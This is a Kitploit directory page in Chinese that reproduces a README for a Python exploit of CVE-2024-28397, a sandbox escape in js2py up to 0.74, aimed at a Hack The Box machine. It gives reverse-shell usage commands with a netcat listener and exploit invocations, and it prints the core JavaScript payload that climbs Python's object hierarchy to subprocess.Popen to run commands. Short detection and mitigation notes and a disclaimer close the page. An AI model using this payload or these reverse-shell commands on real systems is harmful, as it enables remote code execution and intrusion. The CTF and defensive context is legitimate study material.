Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-28397 — 此仓库包含用于CVE-2024-28397的python漏洞利用代码,旨在用于Hack The Box(HTB)上的“CodePartTwo”机器。 | Kitploit
工具/GitHubGitHub/naclapor/cve-2024-28397
漏洞分析漏洞利用CTF渗透测试学习与教育Payload 开发
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

此仓库包含用于CVE-2024-28397的python漏洞利用代码,旨在用于Hack The Box(HTB)上的“CodePartTwo”机器。

查看仓库
12111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-28397 js2py 沙箱逃逸漏洞利用 - (CodePartTwo - HTB)

用于 CVE-2024-28397 的 Python 漏洞利用代码,这是 js2py <= 0.74 中的一个严重漏洞,允许沙箱逃逸和远程代码执行。

🚨 漏洞详情

  • CVE ID: CVE-2024-28397
  • 受影响软件: js2py <= 0.74
  • 严重程度: 严重 (CVSS 9.8)
  • 类型: 沙箱逃逸 / 远程代码执行
  • 发现日期: 2024 年 2 月

描述

js2py 是一个流行的 Python 库,用于在 Python 环境中评估 JavaScript 代码。该漏洞允许攻击者逃逸 js2py 沙箱环境并执行任意的 Python/系统命令,即使在启用了 js2py.disable_pyimport() 的情况下也是如此。

该漏洞利用通过 JavaScript 借助 Python 的对象内省能力来访问 subprocess.Popen 类并执行系统命令。

🎯 受影响的应用

  • 使用 js2py 进行 JavaScript 评估的 Web 应用程序
  • 代码执行平台(如在线代码编辑器)
  • 解析 JavaScript 的网页爬虫
  • 任何通过 js2py 处理不可信 JavaScript 的应用程序

🚀 使用方法

前提条件

root@kitploit:~
pip install requests

基本用法

root@kitploit:~
# Start netcat listener
nc -lnvp 4444

# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

命令行选项

root@kitploit:~
--target    Target URL endpoint (required)
--lhost     Local IP for reverse shell (required)
--lport     Local port for reverse shell (default: 4444)

示例

root@kitploit:~
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 工作原理

  1. 生成有效载荷:创建 Base64 编码的反向 Shell 命令
  2. 沙箱逃逸:通过 __class__ 和 __base__ 使用 JavaScript 访问 Python 的对象层次结构
  3. 进程执行:通过内省定位 subprocess.Popen
  4. 命令执行:使用 Popen 执行反向 Shell 命令
  5. 建立 Shell:反向连接到攻击者的机器

技术细节

该漏洞利用通过以下方式工作:

  • 访问 Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
  • 使用 __subclasses__() 遍历 Python 的对象层次结构
  • 查找 subprocess.Popen 类
  • 创建新进程以执行反向 Shell

📝 漏洞利用代码结构

root@kitploit:~
// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Find subprocess.Popen class
function findpopen(o) {
    // Recursive search through subclasses
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ 检测方法

查找包含以下内容的 JavaScript 代码:

  • 访问 __class__ 或 ___class___ 属性
  • 调用 __subclasses__() 方法
  • 引用 subprocess 或 Popen
  • 包含 printf 和 base64 -d 的 Base64 编码有效载荷

🔒 缓解措施

  1. 更新 js2py:升级到已修补的版本(> 0.74)
  2. 输入验证:在执行前清理 JavaScript 代码
  3. 沙箱化:使用额外的容器化技术(Docker、chroot)
  4. 代码审查:审计 JavaScript 执行环境
  5. WAF 规则:阻止可疑的 JavaScript 模式

⚠️ 法律免责声明

此工具仅用于授权的渗透测试和教育目的。用户有责任遵守适用的法律法规。未经授权访问计算机系统属于违法行为。

📚 参考资料

  • 原始 CVE 报告
  • js2py GitHub 仓库
  • CVE-2024-28397 详情

📄 许可证

本项目采用 MIT 许可证授权 - 详情请参阅 LICENSE 文件。

下载工具